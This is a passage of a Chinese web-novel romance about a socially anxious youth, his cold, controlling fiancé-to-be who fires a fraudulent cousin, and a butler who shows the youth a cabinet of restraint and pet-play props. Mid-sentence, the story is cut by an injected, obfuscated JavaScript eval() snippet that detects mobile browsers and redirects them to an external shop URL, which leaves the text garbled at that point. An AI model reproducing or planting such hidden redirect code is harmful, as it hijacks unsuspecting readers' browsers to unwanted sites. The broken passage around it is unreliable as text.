苏泽岁从来不敢跟陌生人说话。在他的小世界里,陌生人即地狱。 所以他理所应当地忽略了这条私信,顺便动动小手,把消息记录也删了,这样不回消息的压迫感就也一并消失啦。 但过了一会,对方锲而不舍地又发了几条。 【。:有空吗?】 【。:方便加个联系方式?】 穷追不舍、死缠烂打就很可疑了。 对方的头像是系统默认的小人,苏泽岁自动幻视小说中的一些猥琐大叔,在互联网上广撒网,加上联系方式后就发一些骚扰信息。 苏泽岁很少用社交软件,所以连“拉黑”这个功能都不知道。 眼见着聊天框还在闪“对方正在输入中”,苏泽岁生怕大叔说什么不能见人的话、放什么无法直视的图片。他不想长针眼。 因此,他僵着手指,耗尽所有的社交点数,回复了一句话—— 【用户1947296:不】 他捂住胸口,喘着粗气,感觉有点胸闷气短、精疲力尽。 社交的代价! 互联网很可怕,网友很吓人。 说完,不管大叔如何回复,苏泽岁就把手机一丢,倒下身子,又精准地埋头在软绵的枕头里。 他努力地把脑子里关于社交的东西排排空,继续想他那“拯救顾熠阑于水火之中”的大计去了。 …… 另一边的书房里。 顾熠阑眉头紧锁地看着手机,黑眸中翻涌着浓稠而道不明的情绪。 时间回到十分钟前。 那时,他刚处理完了一波文件,在管家整理下一沓资料的间隙,就随手刷了两下A市专属的搜索软件A乎。 A乎有大数据判断用户喜好的功能,所以一般情况下,推送给顾熠阑的帖子都是些新闻资讯、时事政策之类的东西,方便他时刻关注A市政商界动向。 “顾先生,要不要我过会睡前去看下苏小少爷?万一他还在哭,我也能安慰着点。”管家一边整理文件,一边说道。 顾熠阑眼皮都不掀一下:“不用。” 管家:“也是。您都把睡前故事发给他了,他现在应该心里好受多了。可能风干了眼泪、正躺在床上闭目养神?” 于公于私,管家都希望自家老板能顺利结婚,所以皇帝不急他太监急,故意把苏泽岁的现状编得惨了些。 “不过这才第一天,就出了这档子事儿,小少爷难受成这样,我担心联姻的事恐怕……唉,当真可惜。”管家又故作惋惜地说。 但顾熠阑却没能体会他的良苦用心,淡淡道:“过程残忍,结局喜人。吓跑了不挺好。” 管家不敢苟同,也不敢忤逆老板的心思,只能装哑巴,接着埋头整理资料。 顾熠阑重新将视线落在A乎上。 但出乎意料的是,今晚,悬在最顶上的帖子却和往日的画风大相径庭—— 【求助:[爱心]怎么才能提升一个人的好感度[爱心]?】 帖子标题花里胡哨,带着一股土味情意。 顾熠阑不感兴趣地一扫而过,本打算接着往下翻,但奈何那个发帖人的头像实在过于显眼,让他视线倏地一顿。 不仅如此,那新用户的名称后,还明晃晃地缀着他刷到这条帖子的原因——“来自附近的人”。 顾熠阑滑动界面的手指僵住,停顿了片刻,才打开了发帖人的主页,点击了对方的头像大图。 网络略有延迟,界面持续加载中,在转了几个圈后,对方的头像突然毫无征兆地铺满了半个屏幕。 ……熟悉的头像,熟悉的割裂风,熟悉的手铐玩具。 顾熠阑:“……” 某位少年显然不懂怎么在网上保护自己的隐私,搜索记录都还清清楚楚地摆在主页,像裸奔一样,清晰了然。 顾熠阑一目十行地扫了一遍。 【怎么才能跟一个人结婚?】 【怎么让攻方心甘情愿单膝跪地、真诚表白?】 【点击查看“欲迎还拒”的十大好处】 【民政局是移动的房车吗?真的会自己跑吗?怎么才能让它发结婚证?】 …… 管家口中风干了眼泪在床上默默忧伤舔舐伤口的少年,不仅在网络上活蹦乱跳,还学会乱搜东西了。 顾熠阑眼眸中涌起复杂的情绪,太阳穴突突跳了两下,他闭上眼,眉头微微蹙起。 良久,他才重新睁开恢复了平静的黑眸,点进了和对方的聊天框。 【。:在?】 很长一段时间,对面都没有反应。 顾熠阑只当少年没有看见,继续发了两句,说明了来意。 【。:有空吗?】 【。:方便加个联系方式?】 少年总是表现得乖巧听话,像个没有自己意识的小尾巴。这样的人,往往属于“讨好型人格”,学不懂拒绝,对所有或合理、或不合理的要求都回以“好好好”。 顾熠阑看人一贯很准,所以这回选择了单刀直入。 果然,没过几秒,少年回复了—— 【用户1947296:不】 紧接着,聊天界面突然闪动了一下,整个变成单调的灰色。 像是怕他看不懂似的,系统信息还特意弹窗提醒——“对方已下线”。 顾熠阑:“……” 他修长的手指在桌面顿了一下,才又重新抬起,落在手机屏幕上。但这时,一个突如其来的电话打断了他的思绪。 来电备注在手机上晃悠,顾熠阑薄唇不耐烦地抿成一条直线,眉头微蹙,但手指还是点击了“接通”。 手机那头传来一道疲惫但恭敬的声音:“喂,顾总。” *** 苏泽岁从来没睡过这么舒适的觉了。 先前折磨他的噩梦消失得无影无踪,他感觉自己陷在了软绵的棉花里,舒舒服服地晃悠着。再一睁眼,外面天就全亮了。 苏泽岁拿起手机看了眼时间。 现在居然才六点二十,离时间表上规定的起床时间还有四十分钟。 他是个遵守规则的好客人。 所以他重新闭上眼,躺在床上硬生生地熬了十分钟,然后又实在渴得不行地睁开了眼。 苏泽岁盯着雪白的天花板,吞了吞唾沫。 很渴,想喝水。 这栋大型别墅中的每个房间都有实时检测系统,门框上的红外线感热系统能自动统计房间人数,汇报给顾熠阑和管家。 所以按常理来说,他一离开房门,两人就能知道。 但是! 按照时间表来说,这栋房子里现在应该没人起床。 既然没人还醒着,又怎么会有人知道他偷偷摸下楼了呢? 苏泽岁满意地点了点小脑袋,被自己聪明坏了。 他从枕头底下摸出顾熠阑给他的钥匙,解开手上的手铐,穿上他的小白兔拖鞋,就直奔着一楼冰箱去了。 抵达一楼,需要走过一个旋转式大型楼梯。 苏泽岁迈上扶梯,刚过转弯,就隐约看到客厅里的沙发上正坐着一个人,那挺拔颀长的身影像是一把锃亮的刀,锐利冰冷,带着扑面而来的气场,让人后背发凉。 苏泽岁动作一愣,下意识就想转身逃跑,却被楼下传来的一句话打断:“跑什么?” 顾熠阑的嗓音低沉压抑,说话时不带一丝感情,尾音总是习惯性地往下沉,很好辨认。 当场被抓包,苏泽岁逃跑的身躯倏地一抖,僵在原地,不敢动弹,也不敢和对方对视。他低垂着毛茸茸的脑袋,眼观鼻鼻观心,颤个不停。 “下来。”顾熠阑又道。 苏泽岁捏了捏手指,见对方没有回心转意的想法,才垂着头,小步挪到了楼下。 他的情绪感知能力和推理能力很弱,很多时候,只有在意外已经发生后,才会迟钝地意识到事情的严重性。 明明几分钟前还蹦蹦跳跳、开开心心,现在情绪就倏地坠到了冰凉的谷底。 他后知后觉地开始后悔、惊慌。 就算楼梯在长,也总有走到底的时候。 苏泽岁挪步到了顾熠阑面前,却不敢看男人。 他能感觉到男人姿态放松地靠在沙发上,存在感极强的视线正从他的脸颊扫过。似是在审视,又似是在等他解释。 他破坏了规则,他再也不能留在这里了。他要被丢出房子了,他要被抛弃了。 苏泽岁害怕又后悔地想。 “起、好早。”苏泽岁小声嘟囔了一句,慌乱得胃疼,却又不敢为自己辩解。 在极端的茫然与无措中,他的灵魂有些被抽离出身体,隐约听到了“滴滴”两声,但不真切。 “还没睡。”顾熠阑看着他,皱眉道,“哭什么?” 苏泽岁怔愣地抬头,用小手抚上脸颊,果然摸到了一丝冰凉的水痕。 他手忙脚乱地擦去挂在脸上的猫泪,不怎么流畅地转移话题道:“为什么、不睡?” 顾熠阑用下巴一指桌面上堆积的文件,简短地解释道:“有人,有事,没办好。” 苏泽岁从来都控制不住自己的眼泪,明明话题已经成功转移,但晶莹的泪水还在一滴滴地往下坠,打湿了他的睡衣。 他抬手擦了一次又一次,动作可怜兮兮,像被人欺负狠了。 但口上却很割裂、还兢兢业业地在坚持社交:“很生气吗?” 顾熠阑挑了下眉,那双因为通宵而愈发深邃的眼眸中,隐隐映出一片血色。 但其实,顾熠阑活了这么多年,很少会出现生气、愤怒、伤心、心疼这样的大情绪。 由于他无时无刻不在释放低气压,所以第一次见他的人,都会下意识觉得“他不高兴”。 长期维持低情绪对普通人而言很难,因为负面情绪会不断积累,持续叠加,直到“砰”地爆发,最后或陷入绝境,或走出低谷。 但对顾熠阑来说却很容易,那阴沉沉的乌云似乎已经跟他融为一体。就算让认识他很久的人,来感知他情绪,最终也同样只能得出“他好像不高兴 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他觉得自己成功了,因为顾熠阑站在原地默然无言,没有抬手把他拎起来、丢到大门外面去,也没有指责他违背了时间表。 苏泽岁不是很害怕了,但也要再接再励。他在睡衣口袋中摸索了一下,摸出了手铐钥匙和手机。 他把钥匙一递:“给。” 在顾熠阑接过钥匙后,苏泽岁又像是想到什么,解屏手机,伸手递给对方:“给。” 顾熠阑视线淡淡地落在手机上,没有接,像是在等他先开口解释。 这种长久沉默的对峙往往极具压迫感,更别提施压的人还是顾熠阑这种大魔头了。但感知力迟钝的苏泽岁却只觉得手臂有点酸 他收回手机,打开微信,又递到了男人手前,歪头好奇道:“不要、检查吗?” 顾熠阑:“……” 刚巧下楼路过的管家:“???” 他刚起床,准备给家里的佣人安排一天的工作,恰巧就撞到了这样奇怪又割裂的一幕。 查手机、看微信聊天记录、不给社交隐私……这不都该是自家控制欲变态的老板的台词吗?怎么从少年口中轻轻松松、毫不发抖地说出来了? 顾熠阑垂眸。 苏泽岁微信上只有两个对话记录,除了他,就是“哥哥”。他随手划了一下手机屏幕,就看到了苏铭宇骂他“混蛋”的信息。 顾熠阑掀起眼皮看向少年。 “没有、”苏泽岁毫不知情地收回手机,眼睛亮晶晶地看着他,像是在求表扬,“加别人。” 顾熠阑脑海中倏地浮现出那灰色的聊天界面,以及A乎系统提醒他的“对方已下线”。他危险地眯了眯眼,口中自嘲地轻轻嗤笑一声。 苏泽岁见他笑了,悬着的心终于落地。 感谢伟大的搜索软件,他应该不会被赶走啦。 苏泽岁刚把脸上还挂着的最后几滴泪抹去,就听见顾熠阑在头顶悠悠地道:“倒也不必。” 男人朝刚露头的管家招招手,后者立马屁颠屁颠地跑了过来。 “来,加个好友。”顾熠阑抬了抬下巴。 偷听了一会儿的管家秒懂,他弯着眼,对苏泽岁道:“小少爷,我们加个微信好友吧?以后你有什么困难可以随时找我。” 苏泽岁不想社交,可也不会拒绝人,更何况现在还在担心自己会因为小错误被人丢弃。 他胡乱地找了半天,才找到微信个人二维码,让管家扫了自己。 “房子里的人你可以随便加,网友也可以加一两个。我不会暂时查你手机。”顾熠阑垂眸道。 苏泽岁捏着衣角不说话,但灵魂在身体里像拨浪鼓一样直摇头。 “但是——”顾熠阑话音一转。 就在这时,别墅大门的门铃突然被人按响了,“叮咚”的响铃声在偌大的客厅中回响。在一旁打杂的管家急忙去开门。 对社恐而言,门铃就像是死神的丧钟。 苏泽岁单薄的身体抖了抖,已经开始腿软了。 他是罕见的、严重到了病态程度的社交恐惧症患者,此时视线乱晃着,想往大门看去,却又不敢,只能盯着男人修长有力的腿,泛红的眼眸中盈满了不安和慌乱。 顾熠阑不紧不慢地观察着他的神情,也同样没往大门处瞥一眼。像是来的只是无关紧要的路人。 这是一个久居上位者才有的姿态,冷漠倨傲,习惯了被人恭敬地等待,习惯了所有人都以自己为绝对优先级,所有事都为自己的事让路。 “滴滴滴”—— 清脆干净的铃声突兀地响起。 这回苏泽岁听清了,是顾熠阑手机上的心率监测app在响,三声“滴”代表着他的心跳已经突破了正常上限。因为他恐惧社交,心脏在乱跳。 顾熠阑盯着他,继续面无表情地恐吓:“跟我结婚后,你不能加任何好友,否则会有苛刻的惩罚。而且,你必须搬到我房间来住,我要时时刻刻、亲自监视你。” “叮——”大门开了。 苏泽岁脑袋倏地一片空白,余光已经瞥见有个高个子的陌生人要走进来了。 他记住了顾熠阑的话,但没时间说一个字,也来不及思考对方言辞里的含义,就拔腿要往楼上跑。 顾熠阑眼神示意了一下管家,还在门口的管家立刻福至心灵,朝着少年的方向追去。 好在苏泽岁跑得不是很快,管家很快追上,双手虚扶在他周围,生怕他又一个不小心、膝盖跌在楼梯上。 不远处,顾熠阑驻足,看着因他的一句话就落荒而逃的少年,若有所思地眯了眯眼。 12.艾姆 顺着大型旋转式扶梯向上,少年不敢回头,只想赶快跑到转角隐蔽处。 他笔直的小腿迈得很快,如水般细腻白皙的肌肤微微绷紧,在晨曦中勾勒出漂亮的弧度,显得漂亮而脆弱。 “呜。”苏泽岁道。 “别、别哭了小少爷。”管家喘着气,觉得眼前的场景似曾相识,却又不知该如何安慰。 他也听到了顾熠阑恶劣的威胁,什么每时每刻监视的,只要是个正常人,都无法忍受,也难怪苏小少爷会有如此大的反应。 一个迈步,苏泽岁窜到了旋转楼梯的转角处,然后顺势“噗叽”蹲了下来。 他攥住扶梯冰凉的柱子,一边颤抖着,一边猫猫祟祟地探出了个毛茸茸的脑袋,偷偷观察着楼下的场景。 管家看不懂他的举动,只能在苏泽岁后面蹲了下来,悄悄观察着他的举动。 少年小脸惨白,眼眸微微瞪圆,软唇上隐隐显出齿痕,衬得眼尾处那抹色更红了,像是被人欺负惨了。 管家终究还是不忍心,趁顾熠阑不在,偷偷背刺老板:“小少爷别难过,顾先生他……或许只是在吓唬你呢?你要真跟他结婚了,说不定……” 说着说着,就有点编不下去了。 因为顾熠阑的性格底色实在太鲜明了,阴沉戾气,说一不二,漠视一切,完全不像是会忽悠人玩的乐子人。 这本该是一个尴尬又失败的安慰,但原本目不转睛偷看的苏泽岁,突然转头看向了他,眼里亮晶晶的,像是捕捉到什么关键词。 管家被他清澈透亮的眼眸看得心里一咯噔,一半是心虚,一半是欺骗小朋友的罪恶感。 苏泽岁垂下眼眸,看着管家的皮鞋几秒,突然认真地轻声道:“想结婚。” 管家一愣:“啊?” 如果他没记错,这是少年第一次主动对他说出了一句完整的话。 “想结婚。” 苏泽岁瞪着他的皮鞋,又咬字清晰地重复了一遍,不像是在勉强或者开玩笑。 管家难以置信地眨了眨老花眼,那一瞬间,脑海中涌现出无数画面—— 少年看着高大金丝笼和森寒锁链,不仅不怕,甚至还有点小开心;少年明明站在平地,却还直直地把膝盖摔成的触目惊心的青紫色;少年甘愿把手机给人检查,在听到“惩罚”这个词后又羞涩地跑走…… 桩桩件件让他不解的事件汇总在一起,管家脑中却愈发清晰。突然一下,他从纷乱复杂的线索中抓住了正确答案,猛地瞪大眼睛—— 苏小少爷他、他是抖m!? 而现在的逃跑……只是欲迎还拒的小情趣? 若是真的害怕,为何不一口气跑到房间再不出来,而是躲在这里偷听呢? 管家越想越觉得有道理,震惊地抬起头,看着面前的少年。 仅仅一个晃眼的功夫,少年脸上甚至已经浮现出一层羞红色。 管家:!! 因为跑得匆忙,少年乌发有些乱,头顶翘起来几缕稚气的呆毛,随着偷看的小脑袋而晃悠着。 人不可貌相! 管家捂住胸口,好像知道了什么不得了的东□□自消化着庞大的信息量。 楼梯转角的位置离一楼并不远,楼下的两个男人又没有刻意压低声音说话,所以苏泽岁看得见、听得清楚。 沙发上靠着的男人鼻梁高挺,侧脸轮廓流畅而锐利,姿态放松,目光轻轻落在面前身形高挑的西装男身上,没有说话,但那如山般沉重的压迫感却一丝不减。 站着的西装男明明视线更高,但气势却弱了一大截。 他硬着头皮道:“哥,你能不能相信我一次……” 由于缺乏睡眠带来的倦意,顾熠阑本来恹恹地垂着眼皮,听到这个称呼,他厌恶地蹙起眉头。 他朝着旋转楼梯略一抬眸,就注意到了转角处的那小半张漂亮惹眼的脸。 他视线淡淡扫过,少年就像受惊的小白兔一样,缩回了脑袋。 顾熠阑知道苏泽岁对他“误会”深重。自他在Speedsters出手,到后来随口乱诌的“扶老奶奶过马路”,再加上吊桥效应的影响,逐步加深。 今天,他就要矫正少年这个思想误区。 他没有纠正西装男的称呼,而是弓起身,把桌上的一摞文件推了过去,不咸不淡道:“看看?” 随着弯腰,顾熠阑颈背勾出紧致的肌肉线条,像是优哉游哉的野狼突然摆出了狩猎姿态,把西装男猛地吓了一哆嗦。 自知失礼,他挤出一个讨好的笑,接过那一堆文件。 但他刚翻了几下,脸色就瞬间难看。 财务报表和审计证据,追踪和反追踪电子记录,内部举报,独立审计结果……每一份独立的文件,都是在细数他的罪行。 楼梯上,管家蹲在一旁给少年科普:“那个顾家人,为了掩盖自己在公司经营中犯的错,财务造假。顾先生昨晚通宵查了一晚上。” 通宵、一晚上? 苏泽岁微微张开软唇,在心里把西装男评判为“坏人”。 楼下,坏人见事情败露,连唇色都变得惨白。 但事已至此,他也只能稳了稳心态,打起感情牌:“对不起啊哥,我本以为我能很快弥补之前的决策失误的。我没想到,你这么快就……真的麻烦你了。” 这一招自己一张嘴就大事化小、小事化了,显然是想用亲戚的身份平息事态。 顾熠阑垂眸摩挲着食指指腹,没有接话。 西装男咬了咬下唇,像是豁出去了般,再开口时,声音中已经带上了后悔的泣音:“哥,我爸妈从小就更偏爱弟弟,无论我怎么努力都没用。我好不容易从哥大金融系毕业,进入家族集团的管理层,可他们……他们却都认为我是靠你才立足脚跟的。” “这半年来,我在集团步步高升,他们才愿意多看我一眼。如果他们知道我在重要决策上失误,导致家族企业亏了那么多钱,那、那……”西装男眼神慌乱。 顾熠阑听得耳朵有点烦了。 他早听闻这位远房堂弟最爱煽情地编故事,若不是考虑到某位正在偷听的少年,他甚至不会让对方有见到他的机会。 “你很在乎这份工作?”顾熠阑打断了他。 西装男见有希望,急忙点头,满脸懊恼与悔恨地看着对方:“我很喜欢金融学。在我小的时候,我就常常想,长大后能当上集团的财务经理就好了。我努力了很久,直到不久前才实现这个愿望。” 顾熠阑道:“CFO呢?” 西装男眼睛一亮,以为顾熠阑真的被自己不幸的童年经历打动了。 他看不透男人那双深渊般不见底的黑眸,一时有些难以相信,但还是忍不住欣喜若狂。 他在心里想着,面前年纪轻轻的集团董事在传闻中再恐怖,还不是被他三言两语解决了?他实力一直都有,只是一路走来差了些运气罢了。 但他口中却委婉谦逊道:“集团现任CFO是个很有能力的老人,我很敬佩他,也很羡慕他……” 顾熠阑微微抬手,打断了他的“人情世故”。然后抬起黑眸看着西装男,勾唇道:“行,以后不用再羡慕他了。因为,你和他都被炒了。” 西装男被男人的微笑吓得后背发凉,听到他的话,更是瞠目结舌,满脸愕然与绝望、不可置信。 “喜欢金融学、喜欢财务?”顾熠阑挑眉,细数着他刚才的话,“可以,我会把你安排进监管机构的黑名单里的。” 以西装男的涉嫌金额,进了黑名单,就意味着终身不能再从事与财务相关的职位。 “还有别的想法与要求吗?”顾熠阑又问道。 “什么?!!哥,你肯定是在开玩笑吧哥。”西装男反应过来,彻底慌了神,“我也是顾家的人啊,我们身上是有血缘关系的!我们小时候还一起在老宅子里吃过饭,我……” 他乱了分寸,口不择言,直到对上顾熠阑冰凉得没有一丝温度的目光,才像是突然想起了什么,倏地噤声。 “公司法务会再对你追究刑事责任。没别的事就出去。”顾熠阑冷冷下了逐客令。 他声音淡淡,但眸子却像结了寒霜般,令人发怵。 西装男面如菜色,自知口中失言,踩了顾熠阑的雷区,生怕再一个求情,就给自己招来坐牢的下场,顿时不敢再言,夹起公文包,像丧家之犬般仓皇而逃了。 大门“咔”地一声轻轻合上,昭示着西装男消沉而无助的心情。 顾熠阑舌尖抵了抵上颚,利齿磨着口腔内的软肉,微微阖上了眼皮。 六亲不认、泯灭人性,动用手中的权力轻易斩断别人的梦想。 这是他给周围人留下的常见印象。他想让少年也这么看待自己。 在不远的楼梯转角处,苏泽岁静悄悄露出一双眼眸,看着西装男离开,终于轻呼了一口气,攥了攥雪白的拳头—— 坏人被打跑了!好耶! 他本来还在暗自开心,但却见刚闭眼休息了不到两分钟的顾熠阑,又重新睁开夹杂着疲倦的眼眸,站起身来,似是要往大门处走去。 晨曦照在男人的颀长挺拔的身子上,在地上投下了一个长长的影子,让人莫名想到了独来独往的孤狼。 苏泽岁:! 他不敢大声喊住男人,只能掏出了自己的手机,低头打字。 顾熠阑走到了大门口,手刚要握上门把手,手机就震动了一声—— 【(o^^o):去哪】 顾熠阑抬起眸子,顺着大厅的旋转式扶梯往上看去,就看到原本只露出小半个头偷听的少年,现在整个人都站了起来,正手握扶梯,焦急地看着他。 他不愿再惹误会,伸手推开大门,头也不回地离开,还不忘发送出最后一条消息—— 【顾熠阑:实验室。】 楼梯上的管家不知道两人在互发信息,他见老板已离开,就跟这个家的小主人道:“小少爷,以后有什么需要我帮忙的,尽管发微信联系我。” 他如此热切地说着,但面前的小少年却依旧盯着手机,没有应话,而是思索片刻,又在手机键盘上打了几个字。 管家被忽视了也不恼火,以为少年欲迎还拒的小把戏失败了,正在伤心地跟朋友哭诉。 恰好此时,他口袋中的手机响了两声。他掏出手机,抬起脚,准备下楼去处理早晨的第一波事务。 但他定睛一看—— 【(o^^o):我通过了你的朋友验证请求,现在我们可以开始聊天了】 【(o^^o):想喝水】 管家猛地止住脚步,转过身去,看向背后的少年。少年对此毫无反应,依旧绷着小脸,在手机上专心打字。 管家懵了。 ……不是,就在面前,至于线上联络吗? 但好吧……既然小少爷喜欢这种沟通方式,那么他就耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14200713|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地等一会,看看对方一脸认真,到底还有什么别的指示。 过了整整两分钟,他的手机才又“嗡”地响了一下—— 【(o^^o):谢谢[兔兔鞠躬.jpg]】 管家:?? 不是……这么长时间,都用来认真地挑表情包了? 管家不解着,一对上苏泽岁那双小白兔般通红的眼眸,他就又没了脾气—— 这是哭到脱水了! “好的小少爷,等我会儿。”管家不敢耽误,收着啤酒肚,一步两个台阶地去餐厅倒了杯水,然后气喘吁吁地跑回来,递给苏泽岁。 苏泽岁小口小口喝着水,单手在手机上按来按去。 于是,管家的手机又响了—— 【(o^^o):谢谢。你为什么不按照时间表起床?】 由于平时很少开口说话,苏泽岁手打出来的对话也格外生硬,直来直往,不懂人情世故。只有在发他那唯一收藏的小白兔表情包时,才能从中窥探出一丝少年的本性。 打完这句话,苏泽岁终于抬起头,看向管家,眼眸里亮亮的,藏不住期待。 ——希望7:00其实是最晚起床时间,这样他就不算违背时间表啦。 【AAA管家:我要安排其他佣人的工作,所以顾先生允许我提前二十分钟起床】 发送完,管家也看向苏泽岁。 两个人面对面打字,总有点说不上来的奇怪。 【(o^^o):哦】 少年手起手落,一分钟打出了一个字来。但管家从中读出了对方的失落。 苏泽岁重新低下头,打字。 两番对话完毕,见是真的有求必应、有问必答,他才准备问自己最想问的几个问题—— 【(o^^o):为什么顾先生一边读博士,一边处理公司的事。他不累吗?】 这是一个很常规的关心,就像大街上偶遇问句“你吃饭了吗”那样随意,但管家却像是被狠踩了脚般猛地一惊。 他甚至都来不及打字,脱口而出道:“别问这个小少爷。” 这栋别墅这么多年来从没迎来过“客人”,而这里的佣人就像npc一样定时工作、定时休息,不该说的一字不语。 管家都快要忘了顾熠阑的逆鳞是什么,也快忘了心跳加速的惊恐感。 他的第一反应是——幸好顾老板刚刚才说不会查苏泽岁的手机,不然他们可要遭殃了。 向来沉稳憨厚的他,神情严肃而复杂地看着少年道:“小少爷,你以后可别再问这样的问题了,也千万别在顾先生面前提这些。千万千万记住了。” 苏泽岁虽然不理解,但还是乖巧地回了消息。 【(o^^o):嗯】 【(o^^o):那顾先生的房间里有几张床?】 零帧起手,内容劲爆,毫无前摇。 管家一个怔愣,尴尬地擦了擦额头上的冷汗。 刚才在楼下,他也听到了顾熠阑说结婚后要让少年搬到主卧、亲眼盯着他的威胁。 虽然他知道答案,但就算是再唯物客观的事实,放到这种问题背景下,都显得格外……限制级啊! “好像是。”管家含糊其辞,转移话题道:“小少爷,咱要不先把这些问题放一放?你还有没有什么需要我做的?我定赴汤蹈火在所不辞。” 比如下楼再拿个东西。 苏泽岁想了想,接着打字。 【(o^^o):你可以让顾先生朋友圈不要屏蔽我吗?】 管家觉得自己需要掐掐人中吸口氧气。 ……咱们能回到前面那种倒杯水讲个规则的简单模式吗? 但突然一下的,他灵光一现:“小少爷,我虽然不能左右顾先生的决定。但我有个办法,说不定能让他回心转意……” 管家恭敬地弯腰,刚准备尽西方之礼仪,朝着侧卧的方向比个“请”的手势。 但他老腰刚弯到一半,优雅的手还没伸出去,少年突然撒开腿,一溜烟跑走了,然后“砰”地关上卧室的门。 管家动作僵在了原地:??? 他懵了,茫然地四下打量了一下——什么也没有啊。 几个保镖正死守着大门,西装坏男人没折返,歹徒没闯进来,外星人也没统治地球。只有几个老实本分的佣人,才刚起床,准备用餐后进行一天的工作。 他在原地傻愣几秒,终于反应过来,站直身体,追了过去。 侧卧里。 管家进门时,苏泽岁已经把手链牢牢地铐在了手腕上,整个人在床上缩成一小团,绷着小脸,瞪着空气中某个虚无的点,看起来在气鼓鼓,但眼尾红得像是要滴血。 管家愣了下,没有出言打断少年的发呆,而是走到了木柜前,将其倏地打开。 木柜里面,都是他陪顾熠阑在某家难以启齿的店里买的小东西。当时他苦口婆心好说歹说劝了好久,老板才决定暂时不用这些变态的东西把人吓走。 但现在,他只后悔自己怎么发现真相发现得这么晚…… “小少爷,你看这是什么东西?” 管家弯着眼眸,让开身体,把背后的东西暴露在了空气中。 那是一柜的束缚带、眼罩、项圈、牵引链、耳塞,甚至还有小狗耳朵,小狗爪爪,不堪入目的小狗尾巴……难以直视。 他口中的小少爷扭头看过来,果然瞳孔骤缩:“!” 13.小狗 管家优雅地弯腰伸手,华丽丽展示着木柜里的东西:“小少爷,喜欢吗?” 很快,他就尬住了。 因为整场表演,只有他在“激情满满”。 而他的表演道具,是需要糊满马赛克的;唯一的观众,是瞠目结舌呆愣不语的;房间里的氛围,是沉默古怪又尴尬的。 管家本以为自己唯一读不懂心思的人是顾熠阑。 但现在他发现,他也同样猜不透苏泽岁在想些什么。 倒不是少年有多擅长隐藏自己的真实想法,而是因为——他的情绪实在是太割裂了。 哭和笑,伤心与开心,都太割裂了。随时到来,即刻消失,不像正常人那么循序渐进、有迹可循。 有时候他甚至觉得少年只是身体在哭,而灵魂在外面飘。 于是,他又开始试探了—— “小少爷,你知道吗?顾先生是很可怕的主r……人类,”一个口误,紧急转弯。 “你要是跟他结婚,他会用这些道具,把你捆在他的身边,关进金丝笼,让你永远都摆脱不了他的控制,甚至一辈子出不了房门。” 说着说着,他就发现苏泽岁眼中又开始发光,像是藏在眸子里的满天星辰一颗颗亮了起来。 管家松了一口气。 ……看来猜对了。 “小少爷过来看看吗?”管家又道。 他信心满满,但却发现,当苏泽岁视线移到柜子中时,那晶亮的眼眸,又升起了不解和抗拒。 一道灵光闪过,管家顿时福至心灵:“别担心小少爷,这些东西是顾先生买的,他也喜欢。” 他不会觉得你奇怪。 果不其然,在他说完这句话后,苏泽岁终于从床上慢吞吞挪了下来,走到了木柜前。 管家为自己的英明而骄傲。 当看到苏泽岁伸手爱抚起柜子里的狗耳朵,就像摸小狗狗那样自然,他心中更加欣慰了。 让苏泽岁看这些东西,一方面,可以让他更喜欢顾老板;另一方面,也能让顾老板相信小少爷是懂事听话、在控制范围内的,会更容易放下戒心。 而凭小狗狗撒娇卖萌的可爱形象,更会是事半功倍,说不定顾老板看一眼就直接心软了。 苏泽岁看不懂那些奇奇怪怪的皮带和链条,但他喜欢毛茸茸的东西。 他小手抚摸着的狗狗耳朵形状圆润,没有皮毛的地方粉红粉红的,毛发也蓬松而细腻,轻盈地在指尖划动,让他心里软绵绵的。 这应该是某种扮演小动物的游戏。 他以前听说过,好像叫什么cosplay,有很多人喜欢。 苏泽岁把几个扮演道具都拿了出来。 狗狗耳朵和狗爪爪他都能看懂,可却琢磨不透那个形状奇怪的狗尾巴。 ——以他学习“力学”多年的经验来说,如果要佩戴尾巴,会找不到很好的着力点来固定。 就在苏泽岁绷着小脸,对其形状进行了一顿受力分析后,毛茸茸的尾巴突然被管家红着老脸拿走了:“小少爷,这个先别用。我、我去收起来。” 说完,他撒腿跑到其他柜子前,一堆翻藏,不知道把狗尾巴收到了哪个不搬家就不会发现的角落里。 藏完一转身,他就发现苏泽岁正目不转睛看着他。 “想要兔。”少年道。 “什么?!!”管家一惊,后悔藏东西藏晚了,让苏泽岁PTSD到犯恶心地要吐了,急忙补救道:“小少爷千万别吐柜子里,我扶你去厕所!都怪我!” 苏泽岁困惑地皱起小脸,举起双手,在头顶上比了两个“2”,嗓音乖软道:“兔。” 管家动作一顿,然后倏地松了口气。 原来是这个兔。小少年还真是喜欢兔子哈哈。 管家不是很懂艾斯爱慕,不知道游戏里有哪些小动物,只能道:“小少爷,你先将就一下。等你跟顾先生结婚了,你想要什么生物他都会给你买的。” 苏泽岁懂事地点点头,拿起柜子里的狗耳朵发箍,就将其戴在了乖软的乌发间,甚至还晃了晃头,让小耳朵也摇了起来。 狗爪爪是那种全包式的,戴上了就没法抓握东西。 所以苏泽岁先翻了翻别的东西。 柜子里还有一个牵引链。 一扯金丝链条,后面的皮质项圈就猛地缩紧,让人光是看看,都觉得呼吸困难。 他拿起牵引绳,在自己脖颈处比对了一下,似是觉得这是角色扮演配套的遛狗绳。 苏泽岁动作自然,毫无心里障碍。但站一旁的管家,却觉得喘不上来气的人是他。 眼前的少年皮肤白皙细腻,修长的脖颈更像是冬日里的一捧雪,和纯黑色的皮质项圈搭配在一起,就像天使于人间沦陷,在纯洁与欲.望中挣扎,完全不方便想象,简直犯规。 管家强迫自己镇定下来,腰杆子挺出了正直的味道,趁老板不在使劲甩锅:“这些都是顾先生喜欢的东西。” 而小少年也喜欢。 所以他们俩是天造地设的一对。 苏泽岁对链条无感,他不喜欢黑色,所以没有拿牵引绳,只拿了装扮成可爱小狗狗的耳朵和爪爪。 “小少爷你先自己试试。等顾先生回来,我给你发信息,你再穿给他看。”管家感觉自己要撑不住了,随便找了个借口就逃走了。 …… 